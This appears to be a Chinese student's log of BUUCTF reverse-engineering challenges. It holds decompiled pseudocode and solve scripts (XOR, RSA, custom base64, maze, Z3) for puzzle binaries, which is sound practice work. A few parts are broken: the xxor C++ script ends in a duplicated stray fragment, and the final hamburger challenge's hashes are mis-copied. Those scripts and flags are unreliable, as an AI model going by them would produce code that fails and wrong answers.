v9 = sub_400E44(v8); v10 = sub_400E44(v9); v11 = sub_400E44(v10); if ( !(unsigned int )sub_400360(v11, off_6CC090) ) { sub_410CC0("You found me!!!" ); sub_410CC0("bye bye~" ); } result = 0LL ; } else { result = 4294967293LL ; } } else { result = 0xFFFFFFFF LL; } LABEL_13: if ( __readfsqword(0x28 u) != v19 ) sub_444020(); return result; }
有点难,看的别人的wp
[BUUCTF逆向题2019红帽杯]easyRE_2019红帽杯easyre-CSDN博客
2024.4.5
无壳,64位
搜一下flag,F5反汇编,直接分析一下
看了一下,最主要的部分,就是一个简单的异或,这里用到了python的数据,翻了一翻笔记。
函数整体也不多,分析一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 sub_402230(argc, argv, envp); sub_40E640("Give me your code:\n" ); sub_40E5F0("%s" , Str); if ( strlen (Str) != 33 ) { sub_40E640("Wrong!\n" ); system("pause" ); exit (0 ); } for ( i = 0 ; i <= 32 ; ++i ) { byte_414040[i] = Str[dword_40F040[i]]; byte_414040[i] ^= LOBYTE(dword_40F040[i]); } for ( j = 0 ; j <= 32 ; ++j ) { if ( byte_40F0E0[j] != byte_414040[j] ) { sub_40E640("Wrong!\n" ); system("pause" ); exit (0 ); } } sub_40E640("Right!Good Job!\n" ); sub_40E640("Here is your flag: %s\n" , Str); system("pause" ); return 0 ; }
分析的差不多,都点开看一下
这里我们也是看到了几个我们知道的数组了,然后我们就可以进行编写脚本了。
(python数据提取得到两个数组的值)好像也不是太好使,手搓吧。
1 2 3 4 5 6 7 8 9 10 11 dword_40F040=[0x9 ,0xa ,0xf ,0x17 ,0x7 ,0x18 ,0x0c ,0x6 ,0x1 ,0x10 ,0x3 ,0x11 ,0x20 ,0x1d ,0x0b ,0x1e ,0x1b ,0x16 ,0x4 ,0x0d ,0x13 ,0x14 ,0x15 ,0x2 ,0x19 ,0x5 ,0x1f ,0x8 ,0x12 ,0x1a ,0x1c ,0x0e ,0x8 ,0 ] byte_40F0E0=[0x67 , 0x79 , 0x7B , 0x7F , 0x75 , 0x2B , 0x3C , 0x52 , 0x53 , 0x79 , 0x57 , 0x5E , 0x5D , 0x42 , 0x7B , 0x2D , 0x2A , 0x66 , 0x42 , 0x7E , 0x4C , 0x57 ,0x79 , 0x41 , 0x6B , 0x7E , 0x65 , 0x3C , 0x5C , 0x45 , 0x6F , 0x62 , 0x4D ,0x3F ,0 ] str =[0 ]*33 for i in range (0 ,32 ): byte_40F0E0[i] ^= dword_40F040[i] str [dword_40F040[i]]= byte_40F0E0[i] print ('' .join([chr (x) for x in str ]))
最后得到flag,MRCTF{Tr4nsp0sltiON_Clph3r_1s_3z}
但是我们再上交BUUCTF的时候为flag{Tr4nsp0sltiON_Clph3r_1s_3z}
[WUSTCTF2020]level21 2024.4.6
32位,有壳
upx脱一下壳子
[使用upx脱壳工具脱壳-CSDN博客](https://blog.csdn.net/qq_53532337/article/details/120571437#:~:text=脱壳 首先安装工具,解压完之后进入到最里层文件夹中复制下来此时的地址,cmd打开命令行先cd把地址转换,之后直接输入upx.exe,-h安装完成 会出现这样(一大串) 之后就可以脱壳了,还在这个窗口,因为刚刚已经把地址转到了upx脱壳工具这里了,所以这下不用再转,(下次打开需要重新转))
我们用ida打开,F5反汇编,看一下
啊?点一下了main函数,就看见了flag,都不用反汇编。
wctf2020{Just_upx_-d}
行!
[SUCTF2019]SignIn1 2024.4,7
64位,无壳
进去找到main函数,F5进行反汇编
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 v10 = __readfsqword(0x28 u); puts ("[sign in]" ); printf ("[input your flag]: " ); __isoc99_scanf("%99s" , v8); sub_96A(v8, v9); __gmpz_init_set_str(v7, "ad939ff59f6e70bcbfad406f2494993757eee98b91bc244184a377520d06fc35" , 16LL ); __gmpz_init_set_str(v6, v9, 16LL ); __gmpz_init_set_str(v4, "103461035900816914121390101299049044413950405173712170434161686539878160984549" , 10LL ); __gmpz_init_set_str(v5, "65537" , 10LL ); __gmpz_powm(v6, v6, v5, v4); if ( (unsigned int )__gmpz_cmp(v6, v7) ) puts ("GG!" ); else puts ("TTTTTTTTTTql!" ); return 0LL ; }
根据上面的函数,应该猜出v6和v7相等的时候,为我们所要的结果
我们知道了v7的值为ad939ff59f6e70bcbfad406f2494993757eee98b91bc244184a377520d06fc35 (64位,可能位base64)
还知道v4的值为103461035900816914121390101299049044413950405173712170434161686539878160984549
和v5的值为65537
这里就没什么思路了,上网搜了一下结果是在这里有个加密
__gmpz_powm(v6, v6, v5, v4);
上网搜索一下_gmpz_powm函数
buuctf——(SUCTF2019)SignIn-CSDN博客
加密方法和rsa一样,上网找找脚本
首先知道密文为c=ad939ff59f6e70bcbfad406f2494993757eee98b91bc244184a377520d06fc35
模数n=103461035900816914121390101299049044413950405173712170434161686539878160984549
指数e=65537
再用在线工具求p和q。
然后进行大素数的分解
链接: http://factordb.com/index.php
我们知道了p和q
p=282164587459512124844245113950593348271
q=366669102002966856876605669837014229419
找一下脚本
1 2 3 4 5 6 7 8 9 10 11 12 import gmpy2import binasciip=282164587459512124844245113950593348271 q=366669102002966856876605669837014229419 c =0xad939ff59f6e70bcbfad406f2494993757eee98b91bc244184a377520d06fc35 n = 103461035900816914121390101299049044413950405173712170434161686539878160984549 e = 65537 d = gmpy2.invert(e, (p - 1 ) * (q - 1 )) m = gmpy2.powmod(c, d, n) print (binascii.unhexlify(hex (m)[2 :]).decode(encoding="utf-8" ))
suctf{Pwn_@_hundred_years}
这里跟我前面做的rsa题目基本一模一样,只是密文改了!
我们应该改为flag{Pwn_@_hundred_years}
[ACTF新生赛2020]usualCrypt 2024.4.7
32位,无壳。
找到main函数,F5进行反汇编,看一下函数整体不长。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 sub_403CF8(&unk_40E140); scanf("%s" , v8); memset(v5, 0 , sizeof(v5)); v6 = 0 ; v7 = 0 ; sub_401080(v8, strlen(v8), v5); v3 = 0 ; while ( *((_BYTE *)v5 + v3) == byte_40E0E4[v3] ) { if ( ++v3 > strlen((const char *)v5) ) goto LABEL_6; } sub_403CF8(aError); LABEL_6: if ( v3 - 1 == strlen(byte_40E0E4) ) return sub_403CF8(aAreYouHappyYes); else return sub_403CF8(aAreYouHappyNo); }
随便点了一点
看见了一个密文还有一个类似base64编码的字符串,其实他是运用了一下base64换表。(这里可以用在线文件解密也可以用脚本跑一下,gpt写也行。)
仔细分析一下最主要的部分就在下面的函数里。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 int __cdecl sub_401080 (int a1, int a2, const char *a3) { v3 = 0 ; v4 = 0 ; sub_401000(); v5 = a2 % 3 ; v6 = a1; v7 = a2 - a2 % 3 ; v15 = a2 % 3 ; if ( v7 > 0 ) { do { LOBYTE(v5) = *(_BYTE *)(a1 + v3); v3 += 3 ; v8 = v4 + 1 ; a3[v8 - 1 ] = byte_40E0A0[(v5 >> 2 ) & 0x3F ]; a3[v8++] = byte_40E0A0[16 * (*(_BYTE *)(a1 + v3 - 3 ) & 3 ) + (((int )*(unsigned __int8 *)(a1 + v3 - 2 ) >> 4 ) & 0xF )]; a3[v8++] = byte_40E0A0[4 * (*(_BYTE *)(a1 + v3 - 2 ) & 0xF ) + (((int )*(unsigned __int8 *)(a1 + v3 - 1 ) >> 6 ) & 3 )]; v5 = *(_BYTE *)(a1 + v3 - 1 ) & 0x3F ; v4 = v8 + 1 ; a3[v4 - 1 ] = byte_40E0A0[v5]; } while ( v3 < v7 ); v5 = v15; } if ( v5 == 1 ) { LOBYTE(v7) = *(_BYTE *)(v3 + a1); v9 = v4 + 1 ; a3[v9 - 1 ] = byte_40E0A0[(v7 >> 2 ) & 0x3F ]; v10 = v9 + 1 ; a3[v10 - 1 ] = byte_40E0A0[16 * (*(_BYTE *)(v3 + a1) & 3 )]; a3[v10] = 61 ; LABEL_8: v13 = v10 + 1 ; a3[v13] = 61 ; v4 = v13 + 1 ; goto LABEL_9; } if ( v5 == 2 ) { v11 = v4 + 1 ; a3[v11 - 1 ] = byte_40E0A0[((int )*(unsigned __int8 *)(v3 + a1) >> 2 ) & 0x3F ]; v12 = (_BYTE *)(v3 + a1 + 1 ); LOBYTE(v6) = *v12; v10 = v11 + 1 ; a3[v10 - 1 ] = byte_40E0A0[16 * (*(_BYTE *)(v3 + a1) & 3 ) + ((v6 >> 4 ) & 0xF )]; a3[v10] = byte_40E0A0[4 * (*v12 & 0xF )]; goto LABEL_8; } LABEL_9: a3[v4] = 0 ; return sub_401030(a3); }
分析一下就是一个base64编码,但是他在这里用了一些加密。
分别在
1 2 3 4 5 6 7 8 9 10 11 12 13 int sub_401000 () { int result; char v1; for ( result = 6 ; result < 15 ; ++result ) { v1 = byte_40E0AA[result]; byte_40E0AA[result] = byte_40E0A0[result]; byte_40E0A0[result] = v1; } return result; }
和
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 int __cdecl sub_401030 (const char *a1) { __int64 v1; char v2; v1 = 0 i64; if ( strlen (a1) ) { do { v2 = a1[HIDWORD(v1)]; if ( v2 < 97 || v2 > 122 ) { if ( v2 < 65 || v2 > 90 ) goto LABEL_9; LOBYTE(v1) = v2 + 32 ; } else { LOBYTE(v1) = v2 - 32 ; } a1[HIDWORD(v1)] = v1; LABEL_9: LODWORD(v1) = 0 ; ++HIDWORD(v1); } while ( HIDWORD(v1) < strlen (a1) ); } return v1; }
chat一下就可以知道,它分别是一个base64的换表和密文的转换大小写
所以我们就可以进行解密了。
已知密文=MXHz3TIgnxLxJhFAdtZn2fFk3lYCrtPC2l9
然后逆向的时候就是先进行转换,在进行换表
转换后的密文为=mxhZ3tLGNXlXjHhfaDTzN2FfK3LycRTpc2L9
但是解密不出来,所以我看了一下wp,发现不对密文少写了个z
所以真正的密文为zMXHz3TIgnxLxJhFAdtZn2fFk3lYCrtPC2l9
转换大小写后为ZmxhZ3tiGNXlXjHfaDTzN2FfK3LycRTpc2L9
换表的时候要注意在
分析一下byte_40E0A0=”ABCDEFGHIJ”和byte_40E0AA=”KLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/“
这里有一个换表,我们chat一下就应该知道是
这个函数对加密表进行变换,将 下标为 6 到14 的值 与 16 到24 的值进行调换
换表后为ABCDEFQRSTUVWXYPGHIJKLMNOZabcdefghijklmnopqrstuvwxyz0123456789+/
可以进行在线解密了
所以flag为 flag{bAse64_h2s_a_Surprise}
[HDCTF2019]Maze1 2024.4.9
32位,有壳
upx脱个壳(脱壳不成功可以重命名一下),拖入ida看一看,没有找到main函数
搜索一下flag,
看见最上面的一段话
Go through the maze to get the flag(经过迷宫找到flag)
所以我们知道了是一个迷宫题。
找一下迷宫在哪,不太好找,上网wp搜一下,
查看一下字符串,是这个,现在就是不知道迷宫的大小。
在上网看看
看一下别人的wp,知道了为什么F5反汇编不了
[【CTF】花指令问题——HDCTF2019]Maze-腾讯云开发者社区-腾讯云 (tencent.com)
学一下nop指令
重启之后就可以正常的F5反编译了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 sub_401140(aGoThroughTheMa); scanf ("%14s" , v5); for ( i = 0 ; i <= 13 ; ++i ) { switch ( v5[i] ) { case 'a' : --dword_408078; break ; case 'd' : ++dword_408078; break ; case 's' : --dword_40807C; break ; case 'w' : ++dword_40807C; break ; default : continue ; } } if ( dword_408078 == 5 && dword_40807C == -4 ) { sub_401140(aCongratulation); sub_401140(aHereIsTheFlagF); } else { sub_401140(aTryAgain); } return 0 ; }
找到了怎么走迷宫,也很简单”awsd”
所以flag{ssaaasaassdddw}
花指令实现及清除 逆向分析基础 — 花指令实现及清除_jmp花指令逆向-CSDN博客
看了也没看,等等看
[MRCTF2020]Xor 2024.4.10
32位,无壳
打开,F5反汇编失败
这里的报错为
我们找下这个地址40195
点进去
然后F5反汇编,发现是可以反汇编的。
最后我们进行一下X跟进一下sub 401020函数就可以正常使用了
函数比较简单
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 int __cdecl main (int argc, const char **argv, const char **envp) { unsigned int i; sub_401020((int )"Give Me Your Flag String:\n" ); sub_401050("%s" , byte_4212C0); if ( strlen (byte_4212C0) != 27 ) { LABEL_6: sub_401020((int )"Wrong!\n" ); sub_404B7E("pause" ); _loaddll(0 ); __debugbreak(); } for ( i = 0 ; i < 0x1B ; ++i ) { if ( ((unsigned __int8)i ^ (unsigned __int8)byte_4212C0[i]) != byte_41EA08[i] ) goto LABEL_6; } sub_401020((int )"Right!\n" ); sub_404B7E("pause" ); return 0 ; }
根据函数,其实很简单,就是一个简单的异或。
所以就可以编写脚本了。
这里注意一下,密文还有个”M“要加上
1 2 3 4 5 byte='MSAWB~FXZ:J:`tQJ"N@ bpdd}8g' flag="" for i in range (len (byte)): flag+=chr (i^ord (byte[i])) print (flag)
最后得到flag为 MRCTF{@_R3@1ly_E2_R3verse!} 很简单!
[MRCTF2020]hello_world_go 2024.4.10
64位,找不到main函数,搜索一下flag,就找到了
签到题,应该
flag{hello_world_gogogo}
[WUSTCTF2020]level3 先放着
Youngter-drive 2024.4.10
32位,有壳
upx 脱一下壳子
找不到什么有用的
上网搜了一下,用的多线程和IDA平衡堆栈的知识!
BUUCTF_Youngter-drive_buuctf_youngter-drive_buuctf youngter-drive_zyen12-CSDN博客
放一放
相机 2024.4.11
后缀为.apk,工具为jadx
[BUUCTF]REVERSE——相册_reverse题 你好这是上次聚会照片-CSDN博客
看了一下别人的wp。我们用jadx打开后基本什么也找不到
有个base64的提示,找一下密文。
把jadx解压一下,方法直接用ida打开,找到
查看一下字符串
找到密文就可以进行base64解密了。这里我用的在线工具
From Base64 - CyberChef
所以flag{18218465125@163.com }
[FlareOn4]IgniteMe 2024.4.11
32位,无壳
代码不长
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 void __noreturn start () { DWORD NumberOfBytesWritten; NumberOfBytesWritten = 0 ; hFile = GetStdHandle(0xFFFFFFF6 ); dword_403074 = GetStdHandle(0xFFFFFFF5 ); WriteFile(dword_403074, aG1v3M3T3hFl4g, 0x13 u, &NumberOfBytesWritten, 0 ); sub_4010F0(NumberOfBytesWritten); if ( sub_401050() ) WriteFile(dword_403074, aG00dJ0b, 0xA u, &NumberOfBytesWritten, 0 ); else WriteFile(dword_403074, aN0tT00H0tRWe7r, 0x24 u, &NumberOfBytesWritten, 0 ); ExitProcess(0 ); }
大概猜一下,就在这个if条件语句里了应该,点进去看看
简单分析一下这个函数,我们可以通过调试得知,v1和v4的值
v1=7,v4=0x04;
然后我们进行了第一个for循环
是一个简单的异或
下面的for循环分析一下应该是一个判断条件。
找一下密文
密文如下:
感觉是这个
1 2 3 4 5 6 7 8 9 10 11 12 13 14 unsigned char ida_chars[] ={ 13 , 38 , 73 , 69 , 42 , 23 , 120 , 68 , 43 , 108 , 93 , 94 , 69 , 18 , 47 , 23 , 43 , 68 , 111 , 110 , 86 , 9 , 95 , 69 , 71 , 115 , 38 , 10 , 13 , 19 , 23 , 72 , 66 , 1 , 64 , 77 , 12 , 2 , 105 , 0 }; unsigned char ida_chars[] ={ 0x0D , 0x26 , 0x49 , 0x45 , 0x2A , 0x17 , 0x78 , 0x44 , 0x2B , 0x6C , 0x5D , 0x5E , 0x45 , 0x12 , 0x2F , 0x17 , 0x2B , 0x44 , 0x6F , 0x6E , 0x56 , 0x09 , 0x5F , 0x45 , 0x47 , 0x73 , 0x26 , 0x0A , 0x0D , 0x13 , 0x17 , 0x48 , 0x42 , 0x01 , 0x40 , 0x4D , 0x0C , 0x02 , 0x69 , 0x00 };
然后编写脚本跑一下,看看对不对
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 data=[ 0x0D , 0x26 , 0x49 , 0x45 , 0x2A , 0x17 , 0x78 , 0x44 , 0x2B , 0x6C , 0x5D , 0x5E , 0x45 , 0x12 , 0x2F , 0x17 , 0x2B , 0x44 , 0x6F , 0x6E , 0x56 , 0x09 , 0x5F , 0x45 , 0x47 , 0x73 , 0x26 , 0x0A , 0x0D , 0x13 , 0x17 , 0x48 , 0x42 , 0x01 , 0x40 , 0x4D , 0x0C , 0x02 , 0x69 ] data.reverse() key= 0x4 flag ="" for i in range (len (data)): flag+= chr (key^data[i]) key=ord (flag[i]) print (flag[::-1 ])
最后flag{R_y0u_H0t_3n0ugH_t0_1gn1t3@flare-on.com }
不过这里的脚本有个反转,解密前反转要看不太懂
[WUSTCTF2020]Cr0ssfun 2024.4.11
64位,无壳
打开main函数,F5反编译一下看看
条件给的也很简单,就是下面这个
点一下check,里面是这样的
有点套娃的感觉,把他们都记录下来
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 a[1 ]='c' a[2 ]='t' a[3 ]='f' a[4 ]='2' a[5 ]='0' a[6 ]='2' a[7 ]='0' a[8 ]='{' a[9 ]='c' a[10 ]='p' a[11 ]='p' a[12 ]='_' a[13 ]='@' a[14 ]='n' a[15 ]='d' a[16 ]='_' a[17 ]='r' a[18 ]='3' a[19 ]='v' a[20 ]='e' a[21 ]='r' a[22 ]='s' a[23 ]='e' a[24 ]='_' a[25 ]='@' a[26 ]='r' a[27 ]='e' a[28 ]='_' a[29 ]='f' a[30 ]='u' a[31 ]='n' a[32 ]='}' a='w'
得到ctf2020{cpp_@nd_r3verse_@re_fun}
所以flag{cpp_@nd_r3verse_@re_fun},还是很简单的哈!
[GWCTF 2019]xxor 2024.4.17
64位,无壳
找到main函数,F5反汇编
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 v7[5 ] = __readfsqword(0x28 u); puts ("Let us play a game?" ); puts ("you have six chances to input" ); puts ("Come on!" ); memset (v6, 0 , 40 ); for ( i = 0 ; i <= 5 ; ++i ) { printf ("%s" , "input: " ); a2 = (char **)((char *)v6 + 4 * i); __isoc99_scanf("%d" , a2); } memset (v7, 0 , 40 ); for ( j = 0 ; j <= 2 ; ++j ) { dword_601078 = v6[j]; dword_60107C = HIDWORD(v6[j]); a2 = (char **)&unk_601060; sub_400686(&dword_601078, &unk_601060); LODWORD(v7[j]) = dword_601078; HIDWORD(v7[j]) = dword_60107C; } if ( (unsigned int )sub_400770(v7, a2) != 1 ) { puts ("NO NO NO~ " ); exit (0 ); } puts ("Congratulation!\n" ); puts ("You seccess half\n" ); puts ("Do not forget to change input to hex and combine~\n" ); puts ("ByeBye" ); return 0LL ; }
ida远程调控没什么用!
找到最主要的判断条件!
当v7和a2相等的时候为我们所求的。
函数点进去看一眼,他是几个长整型的数据
1 2 3 4 5 6 7 8 9 a1[2 ] - a1[3 ] == 2225223423LL a1[3 ] + a1[4 ] == 4201428739LL a1[2 ] - a1[4 ] == 1121399208LL *a1 == -548868226 a1[5 ] == -2064448480 a1[1 ] == 550153460 al的所有值: [-548868226 , 550153460 , 3774025685 , 1548802262 , 2652626477 , -2064448480 ]
我们知道了al的值
调试一下可以知道a2的值
然后就可以编写脚本了
脚本如下:
1 2 a1=[-548868226, 550153460, 3774025685, 1548802262, 2652626477, -2064448480] a2=[2,2,3,4]
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 #include <iostream> using namespace std;int main () { __int64 a[6 ] = { 3746099070 , 550153460 , 3774025685 , 1548802262 , 2652626477 , 2230518816 }; unsigned int a2[4 ] = { 2 ,2 ,3 ,4 }; unsigned int v3, v4; int v5; for (int j = 0 ; j <= 4 ; j += 2 ) { v3 = a[j]; v4 = a[j + 1 ]; v5 = 1166789954 *64 ; for (int i = 0 ; i <= 63 ; ++i) { v4 -= (v3 + v5 + 20 ) ^ ((v3 << 6 ) + a2[2 ]) ^ ((v3 >> 9 ) + a2[3 ]) ^ 16 ; v3 -= (v4 + v5 + 11 ) ^ ((v4 << 6 ) + *a2) ^ ((v4 >> 9 ) + a2[1 ]) ^ 32 ; v5 -= 1166789954 ; } a[j] = v3; a[j + 1 ] = v4; } for (int i = 0 ; i < 6 ; ++i) { cout << *((char *)&a[i] + 2 ) << *((char *)&a[i] + 1 ) << * ((char *)&a[i]); } } r*)&a[i] + 2 ) << *((char *)&a[i] + 1 ) << * ((char *)&a[i]); } }
flag{re_is_great!}
脚本放一放!
[UTCTF2020]basic-re 2024.4.17
64位,ELF文件
应该是签到题
进去查看一下字符串
flag{str1ngs_1s_y0ur_fr13nd}
[FlareOn6]Overlong 2024.4.17
32位,无壳
啥也没有,
新题型,没见过!
[buuctf刷题记录15 [FlareOn6]Overlong_buuctf[flareon6]overlong-CSDN博客
是一个简单修改源码值的题!
运行一下exe文件
什么也没有
我们点进去,F5反汇编一下,代码很少
简单分析一下,就是一个函数,函数把unk_4088的值给TEXT然后有TEXT一个赋值 ,然后TEXT再赋值给这个MessageBox,也就是这个窗口。然后输出
其实点进去unk_4088之后,就会发现它不止28个
用在线工具看一下其长度,(提取一下数据,python的数据提取)
ASCII文本,十六进制,二进制,十进制,Base64转换器 (rapidtables.org)
发现他有175个,所以我们要改一下28的值,
我们标记一下这里
用上面的方法改一下,这里1C(28)为16进制,所以(175转为16进制为AF),改完在运行就可以得到答案了!
flag{I_a_M_t_h_e_e_n_C_o_D_i_n_g@flare-on.com }
[FlareOn3]Challenge1 2024.4.18
32位,无壳!
找到main函数,F5反汇编!
分析还是挺简单的,已知密文,函数进行了变换得到明文!
x2dtJEOmyjacxDemx2eczT5cVS9fVUGvWTuZWjuexjRqy24rV29q
看一下函数!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 v8 = malloc (4 * ((a2 + 2 ) / 3 ) + 1 ); if ( !v8 ) return 0 ; v11 = 0 ; v9 = 0 ; while ( v11 < a2 ) { v5 = *(unsigned __int8 *)(v11 + a1); if ( ++v11 >= a2 ) { v4 = 0 ; } else { v4 = *(unsigned __int8 *)(v11 + a1); ++v11; } if ( v11 >= a2 ) { v3 = 0 ; } else { v3 = *(unsigned __int8 *)(v11 + a1); ++v11; } v7 = v3 + (v5 << 16 ) + (v4 << 8 ); v8[v9] = byte_413000[(v7 >> 18 ) & 0x3F ]; v10 = v9 + 1 ; v8[v10] = byte_413000[(v7 >> 12 ) & 0x3F ]; v8[++v10] = byte_413000[(v7 >> 6 ) & 0x3F ]; v8[++v10] = byte_413000[v3 & 0x3F ]; v9 = v10 + 1 ; } for ( i = 0 ; i < dword_413040[a2 % 3 ]; ++i ) v8[4 * ((a2 + 2 ) / 3 ) - i - 1 ] = 61 ; v8[4 * ((a2 + 2 ) / 3 )] = 0 ; return v8; }
我们点一下这个byte_413000,可以看见
其实可以大概猜一下是一个base64编码。
1 ZYXABCDEFGHIJKLMNOPQRSTUVWzyxabcdefghijklmnopqrstuvw0123456789+/
得到明文sh00ting_phish_in_a_barrel@flare-on.com
我们加一个flag{sh00ting_phish_in_a_barrel@flare-on.com }
特殊的 BASE64 2024.4.21
64位,无壳
看一下感觉是一个换表的base64!
flag{Special_Base64_By_Lich}
比较简单!
[ACTF新生赛2020]Oruga 2024.4.21
64位,ELF文件,无壳
找到main函数,F5反汇编
函数整体不难
flag的形式为actf{}
我们继续看函数sub_59ACA960078A
其实看见W (上)E (右)M (下)J (左)
应该可以想到是迷宫题
进入sub_78A函数。
分析代码可知这是个迷宫题
map为word_201020且每16个为一行。
W,E,M,J分别是 上,右,下,左
从左上角开是到“!(33)”结束
第二个while是说:
在最左的一列不能左走
在最右的一列不能右走
在最下的一列不能下走
在最上的一列不能上走
找到迷宫提取一下、
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 unsigned char ida_chars[] = { 0, 0, 0, 0, 35, 0, 0, 0, 0, 0, 0, 0, 35, 35, 35, 35, 0, 0, 0, 35, 35, 0, 0, 0, 79, 79, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 79, 79, 0, 80, 80, 0, 0, 0, 0, 0, 0, 76, 0, 79, 79, 0, 79, 79, 0, 80, 80, 0, 0, 0, 0, 0, 0, 76, 0, 79, 79, 0, 79, 79, 0, 80, 0, 0, 0, 0, 0, 0, 76, 76, 0, 79, 79, 0, 0, 0, 0, 80, 0, 0, 0, 0, 0, 0, 0, 0, 0, 79, 79, 0, 0, 0, 0, 80, 0, 0, 0, 0, 35, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 35, 0, 0, 0, 0, 0, 0, 0, 0, 0, 77, 77, 77, 0, 0, 0, 35, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 77, 77, 77, 0, 0, 0, 0, 69, 69, 0, 0, 0, 48, 0, 77, 0, 77, 0, 77, 0, 0, 0, 0, 69, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 69, 69, 84, 84, 84, 73, 0, 77, 0, 77, 0, 77, 0, 0, 0, 0, 69, 0, 0, 84, 0, 73, 0, 77, 0, 77, 0, 77, 0, 0, 0, 0, 69, 0, 0, 84, 0, 73, 0, 77, 0, 77, 0, 77, 33, 0, 0, 0, 69, 69 };
放一放
[BUUCTF Reverse/ACTF新生赛2020]Oruga_[actf新生赛2020]oruga 1-CSDN博客
[ACTF新生赛2020]Universe_final_answer 2024.4.22
ELF文件,64位,无壳。
函数分析一下,分析不难,一个if条件和一个函数进行函数变化!
我们点开两个函数看一看
sub_55AC55400860函数,看了一下是一个Z3约束器
下面这个函数,根据上面得到key也就是v5,进行加密得到我们所需的flag!
但是我们可以取一下巧,我们只求出key,然后运行一下这个ELF文件!
得到我们的flag!
了解了一下Z3约束器的原理编写一下脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from z3 import *s = Solver() v1 = Int('v1' ) v2 = Int('v2' ) v3 = Int('v3' ) v4 = Int('v4' ) v5 = Int('v5' ) v6 = Int('v6' ) v7 = Int('v7' ) v8 = Int('v8' ) v9 = Int('v9' ) v11 = Int('v11' ) s.add(-85 * v9 + 58 * v8 + 97 * v6 + v7 + -45 * v5 + 84 * v4 + 95 * v2 - 20 * v1 + 12 * v3 == 12613 ) s.add(30 * v11 + -70 * v9 + -122 * v6 + -81 * v7 + -66 * v5 + -115 * v4 + -41 * v3 + -86 * v1 - 15 * v2 - 30 * v8 == -54400 ) s.add(-103 * v11 + 120 * v8 + 108 * v7 + 48 * v4 + -89 * v3 + 78 * v1 - 41 * v2 + 31 * v5 - (v6 * 64 ) - 120 * v9 == -10283 ) s.add(71 * v6 + (v7 * 128 ) + 99 * v5 + -111 * v3 + 85 * v1 + 79 * v2 - 30 * v4 - 119 * v8 + 48 * v9 - 16 * v11 == 22855 ) s.add(5 * v11 + 23 * v9 + 122 * v8 + -19 * v6 + 99 * v7 + -117 * v5 + -69 * v3 + 22 * v1 - 98 * v2 + 10 * v4 == -2944 ) s.add(-54 * v11 + -23 * v8 + -82 * v3 + -85 * v2 + 124 * v1 - 11 * v4 - 8 * v5 - 60 * v7 + 95 * v6 + 100 * v9 == -2222 ) s.add(-83 * v11 + -111 * v7 + -57 * v2 + 41 * v1 + 73 * v3 - 18 * v4 + 26 * v5 + 16 * v6 + 77 * v8 - 63 * v9 == -13258 ) s.add(81 * v11 + -48 * v9 + 66 * v8 + -104 * v6 + -121 * v7 + 95 * v5 + 85 * v4 + 60 * v3 + -85 * v2 + 80 * v1 == -1559 ) s.add(101 * v11 + -85 * v9 + 7 * v6 + 117 * v7 + -83 * v5 + -101 * v4 + 90 * v3 + -28 * v1 + 18 * v2 - v8 == 6308 ) s.add(99 * v11 + -28 * v9 + 5 * v8 + 93 * v6 + -18 * v7 + -127 * v5 + 6 * v4 + -9 * v3 + -93 * v1 + 58 * v2 == -1697 ) if s.check() == sat: result = s.model() print (result)
脚本跑一下,得到:
1 2 3 4 5 6 7 8 9 10 11 12 [v1 = 48 , v6 = 95 , v2 = 70 , v4 = 82 , v11 = 64 , v3 = 117 , v5 = 84 , v9 = 119 , v8 = 55 , v7 = 121 ]
所以我们的顺序为70 48 117 82 84 121 95 55 119 64(在线工具转下ascll码)
我们得到的key为 F0uRTy_7w@,然后我们ida远程调控一下!
得到flag为actf{F0uRTy_7w@_42}
flag{F0uRTy_7w@_42}
[buuctf——(ACTF新生赛2020)Universe_final_answer
_actf新生赛2020]universe_final_answer-CSDN博客
Z3约束器 z3约束求解器使用_plz input your flag-CSDN博客
[BJDCTF2020]BJD hamburger competition 2024.4.24
这次和以往见的不一样
第一次做Unity3D 的逆向题,使用的工具:dnSpy
dnSpy下载地址:dnSpy
我们看一下别人的wp,打开\BJD hamburger competition_Data\Managed\Assembly-CSharp.dll 在里面找到下图的地方 我们可以找到密文和几个加密算法
然后我们进行在线解密就行了!
我们得到密文1001,然后我们在进行md5解密
得到明文b8c37e33defde51cf91e1e03e51657da 但是要注意他是不区分大小写的还有要区分32位和16位,所以我们两种都要试一下!
转为大写为B8C37E33DEFDE51CF91E1E1E03E51657DA ,但是都不对
我们点进去看一些md5加密
所以flag{B8C37E33DEFDE51CF91E}
